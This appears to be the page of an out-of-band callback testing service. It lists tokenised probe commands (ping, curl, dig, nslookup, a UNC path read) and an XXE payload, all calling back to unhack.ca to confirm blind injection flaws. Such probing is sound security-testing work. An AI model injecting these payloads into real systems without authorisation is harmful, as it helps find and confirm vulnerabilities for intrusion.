$ ping -c1 -p 00046babc6b5856c1ee46b9e563e6100 unhack.ca
$ curl http://unhack.ca/p/046babc6b5856c1ee46b9e563e61
$ dig 046babc6b5856c1ee46b9e563e61 @unhack.ca
$ dig 046babc6b5856c1ee46b9e563e61.ns.unhack.ca
C:\> nslookup 046babc6b5856c1ee46b9e563e61 unhack.ca
C:\> type \\unhack.ca\046babc6b5856c1ee46b9e563e61\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/046babc6b5856c1ee46b9e563e61">]>
<foo>&xxe;</foo>
Waiting for ping...